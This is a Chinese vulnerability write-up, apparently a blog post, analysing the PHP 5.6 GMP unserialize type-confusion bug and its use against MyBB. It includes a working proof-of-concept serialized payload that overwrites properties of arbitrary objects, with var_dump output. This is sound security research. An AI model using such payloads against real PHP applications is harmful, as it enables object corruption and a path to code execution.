本文初完成于2020年3月31日,由于涉及到0day利用,所以于2020年3月31日报告厂商、CNVD漏洞平台,满足90天漏洞披露期,遂公开。
前几天偶然看到了一篇在Hackerone上提交的漏洞报告,在这个漏洞中,漏洞发现者提出了很有趣的利用,作者利用GMP的一个类型混淆漏洞,配合相应的利用链可以构造mybb的一次代码执行,这里我们就一起来看看这个漏洞。
https://hackerone.com/reports/198734
以下文章部分细节,感谢漏洞发现者@taoguangchen的帮助。
GMP类型混淆漏洞https://bugs.php.net/bug.php?id=70513
漏洞利用条件php 5.6.x
反序列化入口点
可以触发__wakeup的触发点(在php < 5.6.11以下,可以使用内置类)
漏洞详情gmp.c
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */ { ... ALLOC_INIT_ZVAL(zv_ptr); if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC) || Z_TYPE_P(zv_ptr) != IS_ARRAY ) { zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC); goto exit; } if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) { zend_hash_copy( zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr), (copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *) ); }zend_object_handlers.c
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */ { zend_object *zobj; zobj = Z_OBJ_P(object); if (!zobj->properties) { rebuild_object_properties(zobj); } return zobj->properties; }从gmp.c中的片段中我们可以大致理解漏洞发现者taoguangchen的原话。
__wakeup等魔术方法可以导致ZVAL在内存中被修改。因此,攻击者可以将**object转化为整数型或者bool型的ZVAL,那么我们就可以通过Z_OBJ_P访问存储在对象储存中的任何对象,这也就意味着可以通过zend_hash_copy覆盖任何对象中的属性,这可能导致很多问题,在一定场景下也可以导致安全问题。
或许仅凭借代码片段没办法理解上述的话,但我们可以用实际测试来看看。
首先我们来看一段测试代码
<?php class obj { var $ryat; function __wakeup() { $this->ryat = 1; } } class b{ var $ryat =1; } $obj = new stdClass; $obj->aa = 1; $obj->bb = 2; $obj2 = new b; $obj3 = new stdClass; $obj3->aa =2; $inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}'; $exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}'; $x = unserialize($exploit); $obj4 = new stdClass; var_dump($x); var_dump($obj); var_dump($obj2); var_dump($obj3); var_dump($obj4); ?>在代码中我展示了多种不同情况下的环境。
让我们来看看结果是什么?
array(1) { [0]=> &int(1) } object(stdClass)#1 (3) { ["aa"]=> string(2) "hi" ["bb"]=> string(2) "hi" [0]=> object(obj)#5 (1) { ["ryat"]=> &int(1) } } object(b)#2 (1) { ["ryat"]=> int(1) } object(stdClass)#3 (1) { ["aa"]=> int(2) } object(stdClass)#4 (0) { }我成功修改了第一个声明的对象。
但如果我将反序列化的类改成b会发生什么呢?
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:1:"b":1:{s:4:"ryat";R:2;}}';很显然的是,并不会影响到其他的类变量
array(1) { [0]=> &object(GMP)#4 (4) { ["aa"]=> string(2) "hi" ["bb"]=> string(2) "hi" [0]=> object(b)#5 (1) { ["ryat"]=> &object(GMP)#4 (4) { ["aa"]=> string(2) "hi" ["bb"]=> string(2) "hi" [0]=> *RECURSION* ["num"]=> string(2) "32" } } ["num"]=> string(2) "32" } } object(stdClass)#1 (2) { ["aa"]=> int(1) ["bb"]=> int(2) } object(b)#2 (1) { ["ryat"]=> int(1) } object(stdClass)#3 (1) { ["aa"]=> int(2) } object(stdClass)#6 (0) { }如果我们给class b加一个__Wakeup函数,那么又会产生一样的效果。
但如果我们把wakeup魔术方法中的变量设置为2
class obj { var $ryat; function __wakeup() { $this->ryat = 2; } }返回的结果可以看出来,我们成功修改了第二个声明的对象。
array(1) { [0]=> &int(2) } object(stdClass)#1 (2) { ["aa"]=> int(1) ["bb"]=> int(2) } object(b)#2 (4) { ["ryat"]=> int(1) ["aa"]=> string(2) "hi" ["bb"]=> string(2) "hi" [0]=> object(obj)#5 (1) { ["ryat"]=> &int(2) } } object(stdClass)#3 (1) { ["aa"]=> int(2) } object(stdClass)#4 (0) { }但如果我们把ryat改为4,那么页面会直接返回500,因为我们修改了没有分配的对象空间。
在完成前面的试验后,我们可以把漏洞的利用条件简化一下。